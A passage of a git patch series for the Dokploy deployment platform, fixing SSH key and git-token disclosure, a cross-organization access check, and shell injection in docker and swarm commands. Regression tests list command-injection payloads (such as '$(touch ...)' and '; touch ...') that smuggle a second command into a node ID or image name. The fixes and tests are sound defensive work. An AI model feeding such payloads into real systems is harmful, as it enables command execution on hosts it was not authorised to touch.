(input.gitlabId) { + const gitlab = await findGitlabById(input.gitlabId); + await assertGitProviderAccess(ctx.session, gitlab.gitProvider); + } return await getGitlabBranches(input); }), testConnection: protectedProcedure From 439eee45edf8cd4c0a886984b6115922c87ff4b2 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:14:10 -0600 Subject: [PATCH 15/55] fix(security): redact SSH private key from server read responses findServerById eagerly loads the sshKey relation (needed for server-side SSH operations) including the plaintext privateKey. server.one and server.remove returned that record to the client, exposing the private key to any member with server:read regardless of canAccessToSSHKeys. Adds redactServerSshKey() in the server service and applies it to the server.one and server.remove responses. No client feature consumes the private key (the SSH key management UI uses the dedicated sshKey router), and server-side callers keep using findServerById directly, so behaviour is unchanged. Closes GHSA-w9cp-jqfw-4xj9 --- .../server/server-sshkey-redaction.test.ts | 43 +++++++++++++++++++ apps/dokploy/server/api/routers/server.ts | 5 ++- packages/server/src/services/server.ts | 21 +++++++++ 3 files changed, 67 insertions(+), 2 deletions(-) create mode 100644 apps/dokploy/__test__/server/server-sshkey-redaction.test.ts diff --git a/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts new file mode 100644 index 000000000..001909955 --- /dev/null +++ b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts @@ -0,0 +1,43 @@ +import { redactServerSshKey } from "@dokploy/server/services/server"; +import { describe, expect, it } from "vitest"; + +describe("redactServerSshKey (server SSH private key disclosure guard)", () => { + it("blanks the private key while keeping the rest of the ssh key intact", () => { + const server = { + serverId: "srv-1", + name: "prod", + sshKey: { + sshKeyId: "key-1", + publicKey: "ssh-ed25519 AAAA...", + privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n", + }, + }; + + const redacted = redactServerSshKey(server); + + expect(redacted.sshKey.privateKey).toBe(""); + // Non-secret fields and the surrounding record must survive untouched. + expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA..."); + expect(redacted.serverId).toBe("srv-1"); + expect(redacted.name).toBe("prod"); + }); + + it("does not mutate the original record", () => { + const server = { + serverId: "srv-1", + sshKey: { privateKey: "top-secret" }, + }; + redactServerSshKey(server); + expect(server.sshKey.privateKey).toBe("top-secret"); + }); + + it("is a no-op when the server has no ssh key", () => { + const server = { serverId: "srv-2", sshKey: null }; + expect(redactServerSshKey(server)).toEqual(server); + }); + + it("handles a record without an sshKey property at all", () => { + const server = { serverId: "srv-3" }; + expect(redactServerSshKey(server)).toEqual(server); + }); +}); diff --git a/apps/dokploy/server/api/routers/server.ts b/apps/dokploy/server/api/routers/server.ts index 0233173fa..7a4b818f3 100644 --- a/apps/dokploy/server/api/routers/server.ts +++ b/apps/dokploy/server/api/routers/server.ts @@ -9,6 +9,7 @@ import { getPublicIpWithFallback, haveActiveServices, IS_CLOUD, + redactServerSshKey, removeDeploymentsByServerId, serverAudit, serverSetup, @@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({ }); } - return server; + return redactServerSshKey(server); }), getDefaultCommand: withPermission("server", "read") .input(apiFindOneServer) @@ -436,7 +437,7 @@ export const serverRouter = createTRPCRouter({ await updateServersBasedOnQuantity(admin.id, admin.serversQuantity); } - return currentServer; + return redactServerSshKey(currentServer); } catch (error) { throw error; } diff --git a/packages/server/src/services/server.ts b/packages/server/src/services/server.ts index 3057e4ddb..b58745f9a 100644 --- a/packages/server/src/services/server.ts +++ b/packages/server/src/services/server.ts @@ -53,6 +53,27 @@ export const findServerById = async (serverId: string) => { return currentServer; }; +/** + * Removes the SSH private key material from a server record before it is sent + * to a client. `findServerById` eagerly loads the `sshKey` relation (needed for + * server-side SSH operations), but the private key must never leave the server: + * no client feature consumes it, and returning it exposed it to any member with + * only `server:read`. Server-side callers keep using `findServerById` directly. + */ +export const redactServerSshKey = < + T extends { sshKey?: { privateKey: string } | null }, +>( + serverRecord: T, +): T => { + if (!serverRecord.sshKey) { + return serverRecord; + } + return { + ...serverRecord, + sshKey: { ...serverRecord.sshKey, privateKey: "" }, + }; +}; + export const findServersByUserId = async (userId: string) => { const orgs = await db.query.organization.findMany({ where: eq(organization.ownerId, userId), From 117cfa1a8999f27315c3d0cbfe7069e1bce82fbc Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:18:57 -0600 Subject: [PATCH 16/55] test(types): annotate server record without sshKey relation in redaction test --- apps/dokploy/__test__/server/server-sshkey-redaction.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts index 001909955..90f73a7da 100644 --- a/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts +++ b/apps/dokploy/__test__/server/server-sshkey-redaction.test.ts @@ -36,8 +36,9 @@ describe("redactServerSshKey (server SSH private key disclosure guard)", () => { expect(redactServerSshKey(server)).toEqual(server); }); - it("handles a record without an sshKey property at all", () => { - const server = { serverId: "srv-3" }; + it("handles a record without a loaded sshKey relation", () => { + // e.g. server.update returns the plain row where sshKey is not populated. + const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" }; expect(redactServerSshKey(server)).toEqual(server); }); }); From 5563699f71b2058b49eebdfd66c6c3dbd92ede9c Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:20:47 -0600 Subject: [PATCH 17/55] fix(security): enforce org-scope on swarm reads and escape nodeId swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied serverId and ran remote Docker Swarm reads against it with no organization check, exposing another tenant's swarm topology cross-org (getContainerStats already had the check; the others did not). getNodeInfo additionally interpolated nodeId unescaped into 'docker node inspect ${nodeId}'. Adds an org-ownership assertion to the four unscoped handlers and passes nodeId through shell-quote in getNodeInfo. Closes GHSA-jj6h-388v-9rwm --- .../server/swarm-nodeid-injection.test.ts | 41 +++++++++++++++++++ apps/dokploy/server/api/routers/swarm.ts | 41 +++++++++++++++++-- packages/server/src/services/docker.ts | 3 +- 3 files changed, 80 insertions(+), 5 deletions(-) create mode 100644 apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts diff --git a/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts b/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts new file mode 100644 index 000000000..24a7a97f6 --- /dev/null +++ b/apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts @@ -0,0 +1,41 @@ +import { execSync } from "node:child_process"; +import { existsSync, rmSync } from "node:fs"; +import { quote } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// Mirrors how getNodeInfo builds its command in services/docker.ts: +// `docker node inspect ${quote([nodeId])} --format '{{json .}}'` +// We swap `docker node inspect` for `:` (a no-op) so the test only exercises +// whether the nodeId payload can break out of the command, not real docker. +const buildCommand = (nodeId: string) => + `: node inspect ${quote([nodeId])} --format '{{json .}}'`; + +const INJECTION_NODE_IDS = [ + "$(touch %MARK%)", + "`touch %MARK%`", + "; touch %MARK%", + "abc | touch %MARK%", + "&& touch %MARK%", +]; + +describe("getNodeInfo nodeId command injection", () => { + it("does not execute injected commands from the nodeId", () => { + const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`; + for (const template of INJECTION_NODE_IDS) { + if (existsSync(mark)) rmSync(mark); + const nodeId = template.replace("%MARK%", mark); + try { + execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" }); + } catch { + // A non-zero exit from the no-op is fine; we only care about the marker. + } + expect(existsSync(mark)).toBe(false); + } + if (existsSync(mark)) rmSync(mark); + }); + + it("keeps a legitimate node id intact as a single literal token", () => { + const nodeId = "abc123def456"; + expect(quote([nodeId])).toBe(nodeId); + }); +}); diff --git a/apps/dokploy/server/api/routers/swarm.ts b/apps/dokploy/server/api/routers/swarm.ts index f5c8f02c6..2921bffc5 100644 --- a/apps/dokploy/server/api/routers/swarm.ts +++ b/apps/dokploy/server/api/routers/swarm.ts @@ -11,6 +11,23 @@ import { z } from "zod"; import { createTRPCRouter, withPermission } from "../trpc"; import { containerIdRegex } from "./docker"; +// Ensures a caller-supplied serverId belongs to the caller's active +// organization before any Swarm read runs against it. Without this, the +// server-scoped read procedures were reachable cross-organization (IDOR). +const assertServerInActiveOrg = async ( + serverId: string | undefined, + activeOrganizationId: string | undefined, +) => { + if (!serverId) return; + const server = await findServerById(serverId); + if (server.organizationId !== activeOrganizationId) { + throw new TRPCError({ + code: "UNAUTHORIZED", + message: "You are not authorized to access this server", + }); + } +}; + export const swarmRouter = createTRPCRouter({ getNodes: withPermission("server", "read") .input( @@ -18,12 +35,20 @@ export const swarmRouter = createTRPCRouter({ serverId: z.string().optional(), }), ) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + await assertServerInActiveOrg( + input.serverId, + ctx.session?.activeOrganizationId, + ); return await getSwarmNodes(input.serverId); }), getNodeInfo: withPermission("server", "read") .input(z.object({ nodeId: z.string(), serverId: z.string().optional() })) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + await assertServerInActiveOrg( + input.serverId, + ctx.session?.activeOrganizationId, + ); return await getNodeInfo(input.nodeId, input.serverId); }), getNodeApps: withPermission("server", "read") @@ -32,7 +57,11 @@ export const swarmRouter = createTRPCRouter({ serverId: z.string().optional(), }), ) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + await assertServerInActiveOrg( + input.serverId, + ctx.session?.activeOrganizationId, + ); return getNodeApplications(input.serverId); }), getAppInfos: withPermission("server", "read") @@ -54,7 +83,11 @@ export const swarmRouter = createTRPCRouter({ serverId: z.string().optional(), }), ) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + await assertServerInActiveOrg( + input.serverId, + ctx.session?.activeOrganizationId, + ); return await getApplicationInfo(input.appName, input.serverId); }), getContainerStats: withPermission("server", "read") diff --git a/packages/server/src/services/docker.ts b/packages/server/src/services/docker.ts index 226230fbc..ea200e0c0 100644 --- a/packages/server/src/services/docker.ts +++ b/packages/server/src/services/docker.ts @@ -2,6 +2,7 @@ import { execAsync, execAsyncRemote, } from "@dokploy/server/utils/process/execAsync"; +import { quote } from "shell-quote"; export const getContainers = async (serverId?: string | null) => { try { @@ -519,7 +520,7 @@ export const getSwarmNodes = async (serverId?: string) => { export const getNodeInfo = async (nodeId: string, serverId?: string) => { try { - const command = `docker node inspect ${nodeId} --format '{{json .}}'`; + const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`; let stdout = ""; let stderr = ""; if (serverId) { From 182d3656bb41a5cad968243b1abc1bbbc6f1fd1b Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:26:37 -0600 Subject: [PATCH 18/55] refactor: inline the server org-scope check in each swarm handler Match the existing getContainerStats style instead of a shared helper. --- apps/dokploy/server/api/routers/swarm.ts | 69 ++++++++++++------------ 1 file changed, 36 insertions(+), 33 deletions(-) diff --git a/apps/dokploy/server/api/routers/swarm.ts b/apps/dokploy/server/api/routers/swarm.ts index 2921bffc5..483bccf3e 100644 --- a/apps/dokploy/server/api/routers/swarm.ts +++ b/apps/dokploy/server/api/routers/swarm.ts @@ -11,23 +11,6 @@ import { z } from "zod"; import { createTRPCRouter, withPermission } from "../trpc"; import { containerIdRegex } from "./docker"; -// Ensures a caller-supplied serverId belongs to the caller's active -// organization before any Swarm read runs against it. Without this, the -// server-scoped read procedures were reachable cross-organization (IDOR). -const assertServerInActiveOrg = async ( - serverId: string | undefined, - activeOrganizationId: string | undefined, -) => { - if (!serverId) return; - const server = await findServerById(serverId); - if (server.organizationId !== activeOrganizationId) { - throw new TRPCError({ - code: "UNAUTHORIZED", - message: "You are not authorized to access this server", - }); - } -}; - export const swarmRouter = createTRPCRouter({ getNodes: withPermission("server", "read") .input( @@ -36,19 +19,29 @@ export const swarmRouter = createTRPCRouter({ }), ) .query(async ({ input, ctx }) => { - await assertServerInActiveOrg( - input.serverId, - ctx.session?.activeOrganizationId, - ); + if (input.serverId) { + const server = await findServerById(input.serverId); + if (server.organizationId !== ctx.session?.activeOrganizationId) { + throw new TRPCError({ + code: "UNAUTHORIZED", + message: "You are not authorized to access this server", + }); + } + } return await getSwarmNodes(input.serverId); }), getNodeInfo: withPermission("server", "read") .input(z.object({ nodeId: z.string(), serverId: z.string().optional() })) .query(async ({ input, ctx }) => { - await assertServerInActiveOrg( - input.serverId, - ctx.session?.activeOrganizationId, - ); + if (input.serverId) { + const server = await findServerById(input.serverId); + if (server.organizationId !== ctx.session?.activeOrganizationId) { + throw new TRPCError({ + code: "UNAUTHORIZED", + message: "You are not authorized to access this server", + }); + } + } return await getNodeInfo(input.nodeId, input.serverId); }), getNodeApps: withPermission("server", "read") @@ -58,10 +51,15 @@ export const swarmRouter = createTRPCRouter({ }), ) .query(async ({ input, ctx }) => { - await assertServerInActiveOrg( - input.serverId, - ctx.session?.activeOrganizationId, - ); + if (input.serverId) { + const server = await findServerById(input.serverId); + if (server.organizationId !== ctx.session?.activeOrganizationId) { + throw new TRPCError({ + code: "UNAUTHORIZED", + message: "You are not authorized to access this server", + }); + } + } return getNodeApplications(input.serverId); }), getAppInfos: withPermission("server", "read") @@ -84,10 +82,15 @@ export const swarmRouter = createTRPCRouter({ }), ) .query(async ({ input, ctx }) => { - await assertServerInActiveOrg( - input.serverId, - ctx.session?.activeOrganizationId, - ); + if (input.serverId) { + const server = await findServerById(input.serverId); + if (server.organizationId !== ctx.session?.activeOrganizationId) { + throw new TRPCError({ + code: "UNAUTHORIZED", + message: "You are not authorized to access this server", + }); + } + } return await getApplicationInfo(input.appName, input.serverId); }), getContainerStats: withPermission("server", "read") From 68ea9f7771afe6acca57032dc4328f93c4f25999 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:28:02 -0600 Subject: [PATCH 19/55] fix(security): redact git provider secrets from application.one response findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations (needed server-side to clone) including OAuth tokens, the GitHub App private key and webhook secret. application.one returned them to the client, exposing them to any member with service:read even when hasGitProviderAccess was false. Adds redactApplicationGitSecrets() in the application service (blanks the secret columns, immutably) and applies it to application.one. No client feature reads these secrets (verified in the frontend); server-side clone paths use findApplicationById directly, so behaviour is unchanged. Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f --- .../application-git-secret-redaction.test.ts | 70 +++++++++++++++++++ .../dokploy/server/api/routers/application.ts | 3 +- packages/server/src/services/application.ts | 47 +++++++++++++ 3 files changed, 119 insertions(+), 1 deletion(-) create mode 100644 apps/dokploy/__test__/application/application-git-secret-redaction.test.ts diff --git a/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts b/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts new file mode 100644 index 000000000..2866e8669 --- /dev/null +++ b/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts @@ -0,0 +1,70 @@ +import { redactApplicationGitSecrets } from "@dokploy/server/services/application"; +import { describe, expect, it } from "vitest"; + +describe("redactApplicationGitSecrets (application.one secret disclosure guard)", () => { + it("blanks github secrets while keeping non-secret fields", () => { + const app = { + applicationId: "app-1", + github: { + githubId: "gh-1", + githubClientId: "public-client-id", + githubClientSecret: "SECRET", + githubPrivateKey: "-----BEGIN KEY-----", + githubWebhookSecret: "whsec", + githubInstallationId: "12345", + }, + }; + + const out = redactApplicationGitSecrets(app); + + expect(out.github.githubClientSecret).toBe(""); + expect(out.github.githubPrivateKey).toBe(""); + expect(out.github.githubWebhookSecret).toBe(""); + // Non-secret identifiers must survive so the UI can still show the link. + expect(out.github.githubClientId).toBe("public-client-id"); + expect(out.github.githubInstallationId).toBe("12345"); + expect(out.applicationId).toBe("app-1"); + }); + + it("blanks gitlab / gitea / bitbucket tokens and passwords", () => { + const app = { + gitlab: { secret: "s", accessToken: "at", refreshToken: "rt" }, + gitea: { clientSecret: "cs", accessToken: "at", refreshToken: "rt" }, + bitbucket: { appPassword: "pw", apiToken: "tok" }, + }; + + const out = redactApplicationGitSecrets(app); + + expect(out.gitlab).toMatchObject({ + secret: "", + accessToken: "", + refreshToken: "", + }); + expect(out.gitea).toMatchObject({ + clientSecret: "", + accessToken: "", + refreshToken: "", + }); + expect(out.bitbucket).toMatchObject({ appPassword: "", apiToken: "" }); + }); + + it("does not mutate the original application", () => { + const app = { github: { githubClientSecret: "SECRET" } }; + redactApplicationGitSecrets(app); + expect(app.github.githubClientSecret).toBe("SECRET"); + }); + + it("handles applications without any git provider relation", () => { + const app: { + applicationId: string; + github?: null; + gitlab?: null; + gitea?: null; + bitbucket?: null; + } = { applicationId: "app-2", github: null }; + expect(redactApplicationGitSecrets(app)).toMatchObject({ + applicationId: "app-2", + github: null, + }); + }); +}); diff --git a/apps/dokploy/server/api/routers/application.ts b/apps/dokploy/server/api/routers/application.ts index e1bbedcb9..722ffeedb 100644 --- a/apps/dokploy/server/api/routers/application.ts +++ b/apps/dokploy/server/api/routers/application.ts @@ -13,6 +13,7 @@ import { mechanizeDockerContainer, readConfig, readRemoteConfig, + redactApplicationGitSecrets, removeDeployments, removeDirectoryCode, removeMonitoringDirectory, @@ -183,7 +184,7 @@ export const applicationRouter = createTRPCRouter({ } return { - ...application, + ...redactApplicationGitSecrets(application), hasGitProviderAccess, unauthorizedProvider, }; diff --git a/packages/server/src/services/application.ts b/packages/server/src/services/application.ts index c8ebb3be7..396313b52 100644 --- a/packages/server/src/services/application.ts +++ b/packages/server/src/services/application.ts @@ -122,6 +122,53 @@ export const findApplicationById = async (applicationId: string) => { return application; }; +/** + * Blanks the git-provider secret columns nested inside an application before it + * is returned to a client. `findApplicationById` eagerly loads the github / + * gitlab / gitea / bitbucket relations (needed server-side to clone), but their + * OAuth tokens, app private key and webhook secret must never reach the browser: + * no client feature reads them, and `application.one` exposed them to any member + * with `service:read` even without git-provider access. + */ +export const redactApplicationGitSecrets = < + T extends { + github?: Record | null; + gitlab?: Record | null; + gitea?: Record | null; + bitbucket?: Record | null; + }, +>( + application: T, +): T => { + const blank = ( + provider: Record | null | undefined, + fields: readonly string[], + ) => { + if (!provider) return provider; + const redacted = { ...provider }; + for (const field of fields) { + if (field in redacted) redacted[field] = ""; + } + return redacted; + }; + + return { + ...application, + github: blank(application.github, [ + "githubClientSecret", + "githubPrivateKey", + "githubWebhookSecret", + ]), + gitlab: blank(application.gitlab, ["secret", "accessToken", "refreshToken"]), + gitea: blank(application.gitea, [ + "clientSecret", + "accessToken", + "refreshToken", + ]), + bitbucket: blank(application.bitbucket, ["appPassword", "apiToken"]), + }; +}; + export const findApplicationByName = async (appName: string) => { const application = await db.query.applications.findFirst({ where: eq(applications.appName, appName), From 77384b218397a6fd9e17c2a6836d798bc804714e Mon Sep 17 00:00:00 2001 From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 03:28:36 +0000 Subject: [PATCH 20/55] [autofix.ci] apply automated fixes --- packages/server/src/services/application.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/packages/server/src/services/application.ts b/packages/server/src/services/application.ts index 396313b52..975f04a0d 100644 --- a/packages/server/src/services/application.ts +++ b/packages/server/src/services/application.ts @@ -159,7 +159,11 @@ export const redactApplicationGitSecrets = < "githubPrivateKey", "githubWebhookSecret", ]), - gitlab: blank(application.gitlab, ["secret", "accessToken", "refreshToken"]), + gitlab: blank(application.gitlab, [ + "secret", + "accessToken", + "refreshToken", + ]), gitea: blank(application.gitea, [ "clientSecret", "accessToken", From c0afc48da8d535a99c8617db33fa7ee516d9d704 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:35:59 -0600 Subject: [PATCH 21/55] docs: trim block comment on redactApplicationGitSecrets --- packages/server/src/services/application.ts | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/packages/server/src/services/application.ts b/packages/server/src/services/application.ts index 975f04a0d..38b1c172c 100644 --- a/packages/server/src/services/application.ts +++ b/packages/server/src/services/application.ts @@ -122,14 +122,8 @@ export const findApplicationById = async (applicationId: string) => { return application; }; -/** - * Blanks the git-provider secret columns nested inside an application before it - * is returned to a client. `findApplicationById` eagerly loads the github / - * gitlab / gitea / bitbucket relations (needed server-side to clone), but their - * OAuth tokens, app private key and webhook secret must never reach the browser: - * no client feature reads them, and `application.one` exposed them to any member - * with `service:read` even without git-provider access. - */ +// Blanks the nested git-provider secret columns before an application is sent to +// a client (server-side clone paths use findApplicationById directly). export const redactApplicationGitSecrets = < T extends { github?: Record | null; From ecbaf6060bf6d00491ee51086e28258979777226 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:43:51 -0600 Subject: [PATCH 22/55] refactor(security): exclude git provider secrets at query level in findApplicationById Simpler and consistent with the existing registry column exclusion in the same query: drop the secret columns from the nested github/gitlab/gitea/bitbucket relations via columns:{ ...: false } instead of a post-fetch redaction helper. Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById), so deployments are unaffected. Column names are validated at compile time by drizzle's typed columns config. Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f --- .../application-git-secret-redaction.test.ts | 70 ------------------- .../dokploy/server/api/routers/application.ts | 3 +- packages/server/src/services/application.ts | 67 +++++------------- 3 files changed, 19 insertions(+), 121 deletions(-) delete mode 100644 apps/dokploy/__test__/application/application-git-secret-redaction.test.ts diff --git a/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts b/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts deleted file mode 100644 index 2866e8669..000000000 --- a/apps/dokploy/__test__/application/application-git-secret-redaction.test.ts +++ /dev/null @@ -1,70 +0,0 @@ -import { redactApplicationGitSecrets } from "@dokploy/server/services/application"; -import { describe, expect, it } from "vitest"; - -describe("redactApplicationGitSecrets (application.one secret disclosure guard)", () => { - it("blanks github secrets while keeping non-secret fields", () => { - const app = { - applicationId: "app-1", - github: { - githubId: "gh-1", - githubClientId: "public-client-id", - githubClientSecret: "SECRET", - githubPrivateKey: "-----BEGIN KEY-----", - githubWebhookSecret: "whsec", - githubInstallationId: "12345", - }, - }; - - const out = redactApplicationGitSecrets(app); - - expect(out.github.githubClientSecret).toBe(""); - expect(out.github.githubPrivateKey).toBe(""); - expect(out.github.githubWebhookSecret).toBe(""); - // Non-secret identifiers must survive so the UI can still show the link. - expect(out.github.githubClientId).toBe("public-client-id"); - expect(out.github.githubInstallationId).toBe("12345"); - expect(out.applicationId).toBe("app-1"); - }); - - it("blanks gitlab / gitea / bitbucket tokens and passwords", () => { - const app = { - gitlab: { secret: "s", accessToken: "at", refreshToken: "rt" }, - gitea: { clientSecret: "cs", accessToken: "at", refreshToken: "rt" }, - bitbucket: { appPassword: "pw", apiToken: "tok" }, - }; - - const out = redactApplicationGitSecrets(app); - - expect(out.gitlab).toMatchObject({ - secret: "", - accessToken: "", - refreshToken: "", - }); - expect(out.gitea).toMatchObject({ - clientSecret: "", - accessToken: "", - refreshToken: "", - }); - expect(out.bitbucket).toMatchObject({ appPassword: "", apiToken: "" }); - }); - - it("does not mutate the original application", () => { - const app = { github: { githubClientSecret: "SECRET" } }; - redactApplicationGitSecrets(app); - expect(app.github.githubClientSecret).toBe("SECRET"); - }); - - it("handles applications without any git provider relation", () => { - const app: { - applicationId: string; - github?: null; - gitlab?: null; - gitea?: null; - bitbucket?: null; - } = { applicationId: "app-2", github: null }; - expect(redactApplicationGitSecrets(app)).toMatchObject({ - applicationId: "app-2", - github: null, - }); - }); -}); diff --git a/apps/dokploy/server/api/routers/application.ts b/apps/dokploy/server/api/routers/application.ts index 722ffeedb..e1bbedcb9 100644 --- a/apps/dokploy/server/api/routers/application.ts +++ b/apps/dokploy/server/api/routers/application.ts @@ -13,7 +13,6 @@ import { mechanizeDockerContainer, readConfig, readRemoteConfig, - redactApplicationGitSecrets, removeDeployments, removeDirectoryCode, removeMonitoringDirectory, @@ -184,7 +183,7 @@ export const applicationRouter = createTRPCRouter({ } return { - ...redactApplicationGitSecrets(application), + ...application, hasGitProviderAccess, unauthorizedProvider, }; diff --git a/packages/server/src/services/application.ts b/packages/server/src/services/application.ts index 38b1c172c..0f2e5a4fc 100644 --- a/packages/server/src/services/application.ts +++ b/packages/server/src/services/application.ts @@ -102,10 +102,24 @@ export const findApplicationById = async (applicationId: string) => { redirects: true, security: true, ports: true, - gitlab: true, - github: true, - bitbucket: true, - gitea: true, + gitlab: { + columns: { secret: false, accessToken: false, refreshToken: false }, + }, + github: { + columns: { + githubClientSecret: false, + githubPrivateKey: false, + githubWebhookSecret: false, + }, + }, + bitbucket: { columns: { appPassword: false, apiToken: false } }, + gitea: { + columns: { + clientSecret: false, + accessToken: false, + refreshToken: false, + }, + }, server: true, previewDeployments: true, registry: { columns: { password: false } }, @@ -122,51 +136,6 @@ export const findApplicationById = async (applicationId: string) => { return application; }; -// Blanks the nested git-provider secret columns before an application is sent to -// a client (server-side clone paths use findApplicationById directly). -export const redactApplicationGitSecrets = < - T extends { - github?: Record | null; - gitlab?: Record | null; - gitea?: Record | null; - bitbucket?: Record | null; - }, ->( - application: T, -): T => { - const blank = ( - provider: Record | null | undefined, - fields: readonly string[], - ) => { - if (!provider) return provider; - const redacted = { ...provider }; - for (const field of fields) { - if (field in redacted) redacted[field] = ""; - } - return redacted; - }; - - return { - ...application, - github: blank(application.github, [ - "githubClientSecret", - "githubPrivateKey", - "githubWebhookSecret", - ]), - gitlab: blank(application.gitlab, [ - "secret", - "accessToken", - "refreshToken", - ]), - gitea: blank(application.gitea, [ - "clientSecret", - "accessToken", - "refreshToken", - ]), - bitbucket: blank(application.bitbucket, ["appPassword", "apiToken"]), - }; -}; - export const findApplicationByName = async (appName: string) => { const application = await db.query.applications.findFirst({ where: eq(applications.appName, appName), From cba0b253c7de4157dd932de7f16a2ad247c7cee9 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:53:55 -0600 Subject: [PATCH 23/55] fix(security): escape user input in docker build/pull commands - dockerImage (buildRemoteDocker) -> docker pull / echo - dockerContextPath (docker-file builder) -> cd - publishDirectory (nixpacks builder) -> docker cp source/dest paths These fields were interpolated unescaped into shell commands run via execAsync / execAsyncRemote during deployment. All are now passed through shell-quote. Registry credentials already went through safeDockerLoginCommand (unchanged). Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw --- .../deploy/docker-build-injection.test.ts | 66 +++++++++++++++++++ .../server/src/utils/builders/docker-file.ts | 6 +- .../server/src/utils/builders/nixpacks.ts | 7 +- packages/server/src/utils/providers/docker.ts | 5 +- 4 files changed, 76 insertions(+), 8 deletions(-) create mode 100644 apps/dokploy/__test__/deploy/docker-build-injection.test.ts diff --git a/apps/dokploy/__test__/deploy/docker-build-injection.test.ts b/apps/dokploy/__test__/deploy/docker-build-injection.test.ts new file mode 100644 index 000000000..2e4cc9789 --- /dev/null +++ b/apps/dokploy/__test__/deploy/docker-build-injection.test.ts @@ -0,0 +1,66 @@ +import { execSync } from "node:child_process"; +import { existsSync, rmSync } from "node:fs"; +import { parse, quote } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// Reproduces the escaping applied at the docker build/pull sinks and asserts no +// payload can break out of the command. `docker`/`cd` are replaced by `:` so the +// test exercises only the injection surface, not real docker. +const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`; + +const runAndCheckSafe = (command: string) => { + if (existsSync(MARK)) rmSync(MARK); + try { + execSync(command, { shell: "/bin/sh", stdio: "ignore" }); + } catch { + // no-op stand-ins may exit non-zero; only the marker matters. + } + const fired = existsSync(MARK); + if (existsSync(MARK)) rmSync(MARK); + return !fired; +}; + +const PAYLOADS = [ + "$(touch %MARK%)", + "`touch %MARK%`", + "x; touch %MARK%", + "x && touch %MARK%", + "x | touch %MARK%", +]; + +describe("docker build/pull command injection", () => { + it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => { + for (const p of PAYLOADS) { + const dockerImage = p.replace("%MARK%", MARK); + const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`; + expect(runAndCheckSafe(command)).toBe(true); + } + }); + + it("dockerContextPath (docker-file: cd) is escaped", () => { + for (const p of PAYLOADS) { + const dockerContextPath = p.replace("%MARK%", MARK); + const command = `: cd ${quote([dockerContextPath])}`; + expect(runAndCheckSafe(command)).toBe(true); + } + }); + + it("publishDirectory (nixpacks: docker cp source path) is escaped", () => { + for (const p of PAYLOADS) { + const publishDirectory = p.replace("%MARK%", MARK); + const containerId = "buildabc"; + const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`; + expect(runAndCheckSafe(command)).toBe(true); + } + }); + + it("keeps a legitimate image / path intact as a single token", () => { + // Escaping may add backslashes (e.g. before ':'), but the shell must parse + // the result back to exactly the original single token. + expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]); + expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([ + "registry.io/team/app:tag", + ]); + expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]); + }); +}); diff --git a/packages/server/src/utils/builders/docker-file.ts b/packages/server/src/utils/builders/docker-file.ts index b20e3f170..5f315cd58 100644 --- a/packages/server/src/utils/builders/docker-file.ts +++ b/packages/server/src/utils/builders/docker-file.ts @@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => { } command += ` -echo "Building ${appName}" ; -cd ${dockerContextPath} || { - echo "❌ The path ${dockerContextPath} does not exist" ; +echo ${quote([`Building ${appName}`])} ; +cd 